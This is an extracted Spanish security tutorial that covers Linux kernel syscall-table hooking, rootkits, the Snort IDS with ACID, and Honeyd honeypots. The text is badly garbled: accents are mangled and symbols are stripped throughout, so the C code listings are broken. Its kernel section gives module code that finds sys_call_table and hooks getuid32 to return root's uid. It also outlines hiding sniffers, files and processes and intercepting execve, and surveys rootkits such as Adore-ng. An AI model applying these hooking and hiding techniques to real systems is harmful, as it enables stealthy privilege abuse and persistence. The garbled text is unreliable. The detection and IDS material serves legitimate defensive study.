Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
